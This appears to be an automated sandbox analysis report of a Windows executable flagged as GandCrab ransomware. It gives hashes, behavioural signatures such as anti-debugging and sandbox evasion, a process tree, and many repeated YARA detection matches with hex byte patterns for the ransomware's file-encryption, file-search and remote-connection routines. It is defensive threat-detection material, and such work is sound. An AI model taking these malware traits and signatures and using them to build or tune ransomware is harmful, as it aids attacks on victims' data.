Edit tour

Windows Analysis Report
vy3mvlAaCZ.exe

Overview

General Information

Sample Name:	vy3mvlAaCZ.exe
Analysis ID:	694561
MD5:	1873a210d41acdef243e921f3810803a
SHA1:	6fa90a229148759d12c63bee342e55fa887f6976
SHA256:	34c779bada9918972748153c3f618d6656148748478beec1ec57c7bb5e363593
Tags:	exe
Infos:

Detection

Gandcrab, ReflectiveLoader

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Gandcrab

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected ReflectiveLoader

Machine Learning detection for sample

Found API chain indicative of sandbox detection

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Uses code obfuscation techniques (call, push, ret)

Checks if the current process is being debugged

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Found large amount of non-executed APIs

Contains functionality to simulate keystroke presses

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Classification

Process Tree

System is w10x64

vy3mvlAaCZ.exe (PID: 4268 cmdline: "C:\Users\user\Desktop\vy3mvlAaCZ.exe" MD5: 1873A210D41ACDEF243E921F3810803A)

WerFault.exe (PID: 4940 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 244 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vy3mvlAaCZ.exe	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10bb8:$x1: ReflectiveLoader 0x22a82:$x1: ReflectiveLoader
vy3mvlAaCZ.exe	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0x22246:$: DECRYPT.txt 0x22298:$: DECRYPT.txt
vy3mvlAaCZ.exe	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
vy3mvlAaCZ.exe	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
vy3mvlAaCZ.exe	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x22a81:$s1: _ReflectiveLoader@ 0x22a82:$s2: ReflectiveLoader@
vy3mvlAaCZ.exe	Gandcrab	Gandcrab Payload	kevoreilly	0x21f18:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
vy3mvlAaCZ.exe	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x17043:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x197a2:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x17dce:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x1a610:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x15ec0:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.259577181.0000000000944000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
00000000.00000000.259577181.0000000000944000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
00000000.00000000.256875847.0000000000943000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
00000000.00000000.256875847.0000000000943000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
00000000.00000000.260275699.0000000000944000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
00000000.00000000.260275699.0000000000944000.00000008.00000001.01000000.00000003.sdmp	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
Process Memory Space: vy3mvlAaCZ.exe PID: 4268	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
Process Memory Space: vy3mvlAaCZ.exe PID: 4268	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.vy3mvlAaCZ.exe.944250.5.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0xe832:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.944250.5.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xdff6:$: DECRYPT.txt 0xe048:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.944250.5.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.944250.5.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.944250.5.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe831:$s1: _ReflectiveLoader@ 0xe832:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.5.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xdcc8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.944250.5.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x39f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6152:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x477e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x6fc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x2870:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.944250.3.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0xe832:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.944250.3.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xdff6:$: DECRYPT.txt 0xe048:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.944250.3.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.944250.3.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.944250.3.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe831:$s1: _ReflectiveLoader@ 0xe832:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.3.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xdcc8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.944250.3.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x39f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6152:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x477e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x6fc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x2870:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.944250.1.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0xe832:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.944250.1.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xdff6:$: DECRYPT.txt 0xe048:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.944250.1.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.944250.1.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.944250.1.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe831:$s1: _ReflectiveLoader@ 0xe832:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.1.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xdcc8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.944250.1.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x39f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6152:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x477e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x6fc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x2870:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.2.vy3mvlAaCZ.exe.944250.1.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0xe832:$x1: ReflectiveLoader
0.2.vy3mvlAaCZ.exe.944250.1.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xdff6:$: DECRYPT.txt 0xe048:$: DECRYPT.txt
0.2.vy3mvlAaCZ.exe.944250.1.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.2.vy3mvlAaCZ.exe.944250.1.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.vy3mvlAaCZ.exe.944250.1.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0xe831:$s1: _ReflectiveLoader@ 0xe832:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10032:$x1: ReflectiveLoader
0.2.vy3mvlAaCZ.exe.944250.1.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xdcc8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.2.vy3mvlAaCZ.exe.944250.1.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x39f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6152:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x477e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x6fc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x2870:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xf7f6:$: DECRYPT.txt 0xf848:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x10031:$s1: _ReflectiveLoader@ 0x10032:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xf4c8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x45f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6d52:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x537e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x7bc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x3470:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10032:$x1: ReflectiveLoader
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0xf7f6:$: DECRYPT.txt 0xf848:$: DECRYPT.txt
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x10031:$s1: _ReflectiveLoader@ 0x10032:$s2: ReflectiveLoader@
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0xf4c8:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x45f3:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x6d52:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x537e:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x7bc0:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x3470:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.2.vy3mvlAaCZ.exe.930000.0.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10bb8:$x1: ReflectiveLoader 0x22a82:$x1: ReflectiveLoader
0.2.vy3mvlAaCZ.exe.930000.0.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0x22246:$: DECRYPT.txt 0x22298:$: DECRYPT.txt
0.2.vy3mvlAaCZ.exe.930000.0.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.2.vy3mvlAaCZ.exe.930000.0.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.2.vy3mvlAaCZ.exe.930000.0.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x22a81:$s1: _ReflectiveLoader@ 0x22a82:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.930000.4.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10bb8:$x1: ReflectiveLoader 0x22a82:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.930000.4.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0x22246:$: DECRYPT.txt 0x22298:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.930000.4.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
0.2.vy3mvlAaCZ.exe.930000.0.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0x21f18:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.2.vy3mvlAaCZ.exe.930000.0.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x17043:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x197a2:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x17dce:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x1a610:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x15ec0:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.930000.4.unpack	JoeSecurity_ReflectiveLoader	Yara detected ReflectiveLoader	Joe Security
0.0.vy3mvlAaCZ.exe.930000.4.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen	0x22a81:$s1: _ReflectiveLoader@ 0x22a82:$s2: ReflectiveLoader@
0.0.vy3mvlAaCZ.exe.930000.4.unpack	Gandcrab	Gandcrab Payload	kevoreilly	0x21f18:$string3: action=result&e_files=%d&e_size=%I64u&e_time=%d&
0.0.vy3mvlAaCZ.exe.930000.4.unpack	Win32_Ransomware_GandCrab	unknown	ReversingLabs	0x17043:$search_antivirus_processes_v2: C7 44 24 18 0C 05 01 10 C7 44 24 1C 28 05 01 10 C7 44 24 20 44 05 01 10 C7 44 24 24 64 05 01 10 C7 44 24 28 80 05 01 10 C7 44 24 2C 9C 05 01 10 C7 44 24 30 B4 05 01 10 C7 44 24 34 C8 05 01 10 ... 0x197a2:$find_files_v2_1: 6A 00 6A 00 8D 85 80 F5 FF FF 50 6A 00 FF 15 E0 B1 00 10 8B 1D 30 B1 00 10 85 C0 74 23 68 60 10 01 10 8D 85 80 F5 FF FF 50 FF D3 8D 85 80 F5 FF FF 50 56 FF 15 38 B1 00 10 F7 D8 1B C0 40 75 17 ... 0x17dce:$remote_connection_v2_1: 53 89 45 F4 FF 15 C4 B1 00 10 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 8D 3C 45 00 04 00 00 8D 47 01 50 6A 00 FF D6 6A 40 68 00 30 00 00 68 01 20 03 00 6A 00 8B D8 FF D6 89 45 FC 85 DB 74 0B 8D ... 0x1a610:$search_antivirus_processes_v4: 55 8B EC 83 EC 4C 53 56 8B 35 70 B1 00 10 57 6A 04 68 00 30 00 00 68 00 04 00 00 6A 00 FF D6 8B 5D 08 6A 04 68 00 30 00 00 6A 04 6A 00 89 03 C7 45 B4 9C 14 01 10 C7 45 B8 AC 14 01 10 C7 45 BC ... 0x15ec0:$crypt_files_v3: 55 8B EC 81 EC 84 01 00 00 53 56 57 8D 45 DC C7 45 EC 00 00 00 00 50 8D 45 EC C7 45 DC 00 00 00 00 50 6A 00 8B D9 8B CA 6A 00 E8 B1 2F 00 00 8B 35 70 B1 00 10 6A 40 68 00 30 00 00 68 01 04 00 ...
0.0.vy3mvlAaCZ.exe.930000.0.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x10bb8:$x1: ReflectiveLoader 0x22a82:$x1: ReflectiveLoader
0.0.vy3mvlAaCZ.exe.930000.0.unpack	SUSP_RANSOMWARE_Indicator_Jul20	Detects ransomware indicator	Florian Roth	0x22246:$: DECRYPT.txt 0x22298:$: DECRYPT.txt
0.0.vy3mvlAaCZ.exe.930000.0.unpack	JoeSecurity_Gandcrab	Yara detected Gandcrab	Joe Security
